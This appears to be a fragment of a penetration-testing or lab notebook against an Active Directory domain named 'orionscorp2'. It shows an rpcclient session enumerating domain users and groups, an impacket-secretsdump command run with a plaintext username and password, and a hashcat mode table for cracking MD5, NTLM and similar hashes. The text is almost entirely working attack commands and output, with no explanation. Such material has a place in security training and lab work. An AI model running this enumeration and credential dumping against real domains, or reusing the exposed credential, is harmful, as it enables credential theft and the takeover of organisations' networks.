# rpcclient -W orionscorp2 -U lotavio 172.16.1.243
Password for [ORIONSCORP2\lotavio]:
rpcclient $> enumdomusers
user:[Administrador] rid:[0x1f4]
user:[Convidado] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Egabriel] rid:[0x452]
user:[Abeatriz] rid:[0x455]
user:[Jvitor] rid:[0x456]
user:[MFernanda] rid:[0x45a]
user:[ACosta] rid:[0x45d]
user:[SQLService] rid:[0x460]
user:[rlourdes] rid:[0xa29]
user:[lotavio] rid:[0xa2a]
user:[thenrique] rid:[0xa2b]
rpcclient $> enumdomgroups
group:[Controladores de Domínio de Empresa Somente Leitura] rid:[0x1f2]
group:[Administradores do Domínio] rid:[0x200]
group:[Usuários do Domínio] rid:[0x201]
group:[Convidados do Domínio] rid:[0x202]
group:[Computadores do domínio] rid:[0x203]
group:[Controladores de domínio] rid:[0x204]
group:[Administradores de esquema] rid:[0x206]
group:[Administradores de empresa] rid:[0x207]
group:[Proprietários criadores de diretiva de grupo] rid:[0x208]
group:[Controladores de Domínio Somente Leitura] rid:[0x209]
group:[Controladores de Domínio Clonáveis] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Administradores de Chaves] rid:[0x20e]
group:[Administradores de Chaves Empresariais] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
rpcclient $>
```

impacket-secretsdump rlourdes:georgeorwell1984@172.16.1.253

|                                                    |                                 |
|----------------------------------------------------|---------------------------------|
| 900   MD4                                          | Raw Hash                        |
| 0   MD5                                            | Raw Hash                        |
| 70   md5(utf16le(\$pass))                          | Raw Hash                        |
| 2600   md5(md5(\$pass))                            | Raw Hash salted and/or iterated |
| 3500   md5(md5(md5(\$pass)))                       | Raw Hash salted and/or iterated |
| 4400   md5(sha1(\$pass))                           | Raw Hash salted and/or iterated |
| 20900   md5(sha1(\$pass).md5(\$pass).sha1(\$pass)) | Raw Hash salted and/or iterated |
| 4300   md5(strtoupper(md5(\$pass)))                | Raw Hash salted and/or iterated |
| 1000   NTLM                                        | Operating System                |
| 9900   Radmin2                                     | Operating System                |
| 8600   Lotus Notes/Domino 5                        |                                 |